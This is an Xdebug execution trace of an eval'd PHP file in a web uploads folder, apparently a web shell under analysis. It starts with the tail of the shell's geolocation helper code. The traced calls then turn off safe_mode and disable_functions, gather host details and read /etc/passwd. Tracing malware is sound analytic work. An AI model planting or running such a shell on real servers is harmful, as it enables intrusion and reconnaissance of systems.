$informations[\'country\'] = \'Unknown\';\r\n                        $informations[\'city\'] = \'Unknown\';\r\n                        $informations[\'region\'] = \'Unknown\';\r\n                        $informations[\'timezone\'] = \'Unknown\';\r\n                    }\r\n                }elseif($key == 1){\r\n                    if($decode->success){\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = $decode->country;\r\n                        $informations[\'city\'] = $decode->city;\r\n                        $informations[\'region\'] = $decode->region;\r\n                        $informations[\'timezone\'] = $decode->timezone;\r\n                    }else{\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = \'Unknown\';\r\n                        $informations[\'city\'] = \'Unknown\';\r\n                        $informations[\'region\'] = \'Unknown\';\r\n                        $informations[\'timezone\'] = \'Unknown\';\r\n                    } \r\n                }elseif($key == 2){\r\n                    if($decode->country_name){\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = $decode->country_name;\r\n                        $informations[\'city\'] = $decode->city;\r\n                        $informations[\'region\'] = $decode->region;\r\n                        $informations[\'timezone\'] = $decode->timezone;\r\n                    }else{\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = \'Unknown\';\r\n                        $informations[\'city\'] = \'Unknown\';\r\n                        $informations[\'region\'] = \'Unknown\';\r\n                        $informations[\'timezone\'] = \'Unknown\';\r\n                    }  \r\n                }elseif($key == 3){\r\n                    if($decode->status){\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = $decode->country->country_long;\r\n                        $informations[\'city\'] = $decode->region->city;\r\n                        $informations[\'region\'] = $decode->region->region;\r\n                        $informations[\'timezone\'] = $decode->timezone->timezone;\r\n                    }else{\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = \'Unknown\';\r\n                        $informations[\'city\'] = \'Unknown\';\r\n                        $informations[\'region\'] = \'Unknown\';\r\n                        $informations[\'timezone\'] = \'Unknown\';\r\n                    }  \r\n                }elseif($key == 4){\r\n                    if($decode->country){\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = $decode->country;\r\n                        $informations[\'city\'] = $decode->city;\r\n                        $informations[\'region\'] = $decode->region;\r\n                        $informations[\'timezone\'] = $decode->timezone;\r\n                    }else{\r\n                        $informations[\'ip\']      = $server_ip;\r\n                        $informations[\'country\'] = \'Unknown\';\r\n                        $informations[\'city\'] = \'Unknown\';\r\n                        $informations[\'region\'] = \'Unknown\';\r\n                        $informations[\'timezone\'] = \'Unknown\';\r\n                    }  \r\n                }\r\n            }\r\n                \r\n            if(!empty($informations)) break;\r\n\r\n        }\r\n       \r\n        return $informations;\r\n    }\r\n    public function getMimeType( $filename ) {\r\n        $realpath = realpath( $filename );\r\n        if ( $realpath\r\n                && function_exists( \'finfo_file\' )\r\n                && function_exists( \'finfo_open\' )\r\n                && defined( \'FILEINFO_MIME_TYPE\' )\r\n        ) {\r\n                // Use the Fileinfo PECL extension (PHP 5.3+)\r\n                return finfo_file( finfo_open( FILEINFO_MIME_TYPE ), $realpath );\r\n        }\r\n        if ( function_exists( \'mime_content_type\' ) ) {\r\n                // Deprecated in PHP 5.3\r\n                return mime_content_type( $realpath );\r\n        }\r\n        return false;\r\n    }\r\n}\r\n?>'	/var/www/html/uploads/vgm4.php	1	0
3	6	0	0.011524	1384064	session_start	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	12	0
3	6	1	0.011611	1384816
3	6	R			TRUE
3	7	0	0.011629	1384816	ob_start	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	13	0
3	7	1	0.011645	1401328
3	7	R			TRUE
3	8	0	0.011660	1401328	ini_set	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	14	2	'max_execution_time'	0
3	8	1	0.011679	1401432
3	8	R			'30'
3	9	0	0.011693	1401328	ini_set	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	15	2	'safe_mode'	'Off'
3	9	1	0.011708	1401400
3	9	R			FALSE
3	10	0	0.011722	1401328	ini_set	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	16	2	'disable_functions'	' '
3	10	1	0.011737	1401400
3	10	R			FALSE
3	11	0	0.011751	1401328	error_reporting	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	17	1	32757
3	11	1	0.011765	1401400
3	11	R			22527
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	19	$helpers = class helpers {  }
3	13	0	0.011799	1401456	function_exists	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	317	1	'posix_getgrgid'
3	13	1	0.011814	1401496
3	13	R			TRUE
3	14	0	0.011851	1544880	phpversion	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	372	0
3	14	1	0.011866	1544944
3	14	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
3	15	0	0.011883	1544816	php_uname	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	373	0
3	15	1	0.011897	1544928
3	15	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	16	0	0.011922	1544816	php_uname	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	373	0
3	16	1	0.011936	1544928
3	16	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3	17	0	0.011955	1544816	getmyuid	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	0
3	17	1	0.011968	1544816
3	17	R			1000
3	18	0	0.011982	1544816	get_current_user	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	0
3	18	1	0.012024	1544856
3	18	R			'osboxes'
3	19	0	0.012040	1544824	getmygid	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	0
3	19	1	0.012053	1544824
3	19	R			1000
3	20	0	0.012066	1544824	getmygid	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	0
3	20	1	0.012079	1544824
3	20	R			1000
3	21	0	0.012091	1544824	posix_getgrgid	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	1	1000
3	21	1	0.012126	1545480
3	21	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	374	$group = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3	22	0	0.012166	1545448	helpers->get_users_count	1		/var/www/html/uploads/vgm4.php(1) : eval()'d code	375	0
4	23	0	0.012181	1545448	substr	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	787	3	'Linux'	0	3
4	23	1	0.012197	1545576
4	23	R			'Lin'
4	24	0	0.012210	1545480	strtoupper	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	787	1	'Lin'
4	24	1	0.012223	1545544
4	24	R			'LIN'
4	25	0	0.012237	1545448	file	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'/etc/passwd'
4	25	1	0.012272	1552536
4	25	R			[0 => 'root:x:0:0:root:/root:/bin/bash\n', 1 => 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 2 => 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 3 => 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 4 => 'sync:x:4:65534:sync:/bin:/bin/sync\n', 5 => 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 6 => 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 7 => 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 8 => 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 9 => 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 10 => 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 11 => 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 12 => 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 13 => 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 14 => 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 15 => 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 16 => 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 17 => 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', 18 => 'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 19 => 'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 20 => 'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin\n', 21 => 'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 22 => 'syslog:x:104:111::/home/syslog:/usr/sbin/nologin\n', 23 => '_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\n', 24 => 'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false\n', 25 => 'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin\n', 26 => 'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin\n', 27 => 'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin\n', 28 => 'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin\n', 29 => 'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n', 30 => 'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n', 31 => 'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin\n', 32 => 'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin\n', 33 => 'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n', 34 => 'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin\n', 35 => 'whoopsie:x:117:124::/nonexistent:/bin/false\n', 36 => 'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin\n', 37 => 'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false\n', 38 => 'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin\n', 39 => 'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin\n', 40 => 'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\n', 41 => 'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin\n', 42 => 'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin\n', 43 => 'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false\n', 44 => 'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false\n', 45 => 'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false\n', 46 => 'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash\n']
4	26	0	0.012377	1552496	array_map	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	2	'trim'	[0 => 'root:x:0:0:root:/root:/bin/bash\n', 1 => 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 2 => 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 3 => 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 4 => 'sync:x:4:65534:sync:/bin:/bin/sync\n', 5 => 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 6 => 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 7 => 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 8 => 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 9 => 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 10 => 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 11 => 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 12 => 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 13 => 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 14 => 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 15 => 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 16 => 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 17 => 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', 18 => 'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 19 => 'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 20 => 'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin\n', 21 => 'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 22 => 'syslog:x:104:111::/home/syslog:/usr/sbin/nologin\n', 23 => '_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\n', 24 => 'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false\n', 25 => 'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin\n', 26 => 'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin\n', 27 => 'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin\n', 28 => 'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin\n', 29 => 'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n', 30 => 'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n', 31 => 'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin\n', 32 => 'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin\n', 33 => 'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n', 34 => 'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin\n', 35 => 'whoopsie:x:117:124::/nonexistent:/bin/false\n', 36 => 'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin\n', 37 => 'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false\n', 38 => 'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin\n', 39 => 'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin\n', 40 => 'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\n', 41 => 'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin\n', 42 => 'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin\n', 43 => 'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false\n', 44 => 'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false\n', 45 => 'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false\n', 46 => 'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash\n']
5	27	0	0.012470	1552624	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'root:x:0:0:root:/root:/bin/bash\n'
5	27	1	0.012490	1552712
5	27	R			'root:x:0:0:root:/root:/bin/bash'
5	28	0	0.012506	1555240	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'
5	28	1	0.012522	1555352
5	28	R			'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin'
5	29	0	0.012538	1555320	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'
5	29	1	0.012553	1555416
5	29	R			'bin:x:2:2:bin:/bin:/usr/sbin/nologin'
5	30	0	0.012568	1555384	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'
5	30	1	0.012583	1555480
5	30	R			'sys:x:3:3:sys:/dev:/usr/sbin/nologin'
5	31	0	0.012598	1555448	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'sync:x:4:65534:sync:/bin:/bin/sync\n'
5	31	1	0.012613	1555544
5	31	R			'sync:x:4:65534:sync:/bin:/bin/sync'
5	32	0	0.012628	1555512	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'
5	32	1	0.012643	1555624
5	32	R			'games:x:5:60:games:/usr/games:/usr/sbin/nologin'
5	33	0	0.012658	1555592	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'
5	33	1	0.012673	1555704
5	33	R			'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin'
5	34	0	0.012690	1555672	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n'
5	34	1	0.012704	1555784
5	34	R			'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin'
5	35	0	0.012720	1555752	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n'
5	35	1	0.012735	1555864
5	35	R			'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin'
5	36	0	0.012751	1555832	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n'
5	36	1	0.012776	1555944
5	36	R			'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin'
5	37	0	0.012794	1555912	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n'
5	37	1	0.012809	1556024
5	37	R			'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin'
5	38	0	0.012825	1555992	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n'
5	38	1	0.012840	1556104
5	38	R			'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin'
5	39	0	0.012855	1556072	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n'
5	39	1	0.012870	1556184
5	39	R			'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin'
5	40	0	0.012886	1556152	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n'
5	40	1	0.012901	1556264
5	40	R			'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin'
5	41	0	0.012917	1556232	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n'
5	41	1	0.012932	1556360
5	41	R			'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin'
5	42	0	0.012949	1556328	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n'
5	42	1	0.012963	1556440
5	42	R			'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin'
5	43	0	0.012979	1556408	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n'
5	43	1	0.012995	1556552
5	43	R			'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin'
5	44	0	0.013013	1556520	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n'
5	44	1	0.013027	1556648
5	44	R			'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin'
5	45	0	0.013043	1556616	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n'
5	45	1	0.013059	1556760
5	45	R			'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin'
5	46	0	0.013076	1556728	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n'
5	46	1	0.013096	1556872
5	46	R			'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin'
5	47	0	0.013113	1556840	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin\n'
5	47	1	0.013156	1556952
5	47	R			'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin'
5	48	0	0.013175	1556920	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n'
5	48	1	0.013192	1557080
5	48	R			'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin'
5	49	0	0.013209	1557048	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'syslog:x:104:111::/home/syslog:/usr/sbin/nologin\n'
5	49	1	0.013224	1557160
5	49	R			'syslog:x:104:111::/home/syslog:/usr/sbin/nologin'
5	50	0	0.013240	1557128	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\n'
5	50	1	0.013254	1557240
5	50	R			'_apt:x:105:65534::/nonexistent:/usr/sbin/nologin'
5	51	0	0.013270	1557208	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false\n'
5	51	1	0.013285	1557336
5	51	R			'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false'
5	52	0	0.013302	1557304	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin\n'
5	52	1	0.013316	1557416
5	52	R			'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin'
5	53	0	0.013331	1557384	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin\n'
5	53	1	0.013347	1557528
5	53	R			'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin'
5	54	0	0.013364	1557496	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin\n'
5	54	1	0.013378	1557608
5	54	R			'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin'
5	55	0	0.013394	1557576	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin\n'
5	55	1	0.013410	1557720
5	55	R			'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin'
5	56	0	0.013427	1557688	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n'
5	56	1	0.013442	1557816
5	56	R			'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin'
5	57	0	0.013459	1557784	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n'
5	57	1	0.013474	1557912
5	57	R			'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin'
5	58	0	0.013490	1557880	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin\n'
5	58	1	0.013505	1558008
5	58	R			'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin'
5	59	0	0.013522	1557976	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin\n'
5	59	1	0.013538	1558120
5	59	R			'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin'
5	60	0	0.013555	1558088	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n'
5	60	1	0.013571	1558248
5	60	R			'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin'
5	61	0	0.013588	1558216	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin\n'
5	61	1	0.013603	1558328
5	61	R			'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin'
5	62	0	0.013619	1558296	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'whoopsie:x:117:124::/nonexistent:/bin/false\n'
5	62	1	0.013633	1558408
5	62	R			'whoopsie:x:117:124::/nonexistent:/bin/false'
5	63	0	0.013652	1558376	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin\n'
5	63	1	0.013667	1558504
5	63	R			'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin'
5	64	0	0.013684	1558472	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false\n'
5	64	1	0.013700	1558616
5	64	R			'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false'
5	65	0	0.013717	1558584	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin\n'
5	65	1	0.013733	1558744
5	65	R			'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin'
5	66	0	0.013751	1558712	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin\n'
5	66	1	0.013766	1558824
5	66	R			'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin'
5	67	0	0.013782	1558792	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\n'
5	67	1	0.013798	1558936
5	67	R			'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin'
5	68	0	0.013815	1558904	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin\n'
5	68	1	0.013830	1559016
5	68	R			'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin'
5	69	0	0.013846	1558984	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin\n'
5	69	1	0.013861	1559112
5	69	R			'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin'
5	70	0	0.013878	1559080	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false\n'
5	70	1	0.013893	1559208
5	70	R			'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false'
5	71	0	0.013909	1559176	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false\n'
5	71	1	0.013925	1559304
5	71	R			'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false'
5	72	0	0.013941	1559272	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false\n'
5	72	1	0.013956	1559400
5	72	R			'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false'
5	73	0	0.013972	1559368	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	1	'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash\n'
5	73	1	0.013987	1559496
5	73	R			'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash'
4	26	1	0.014003	1559464
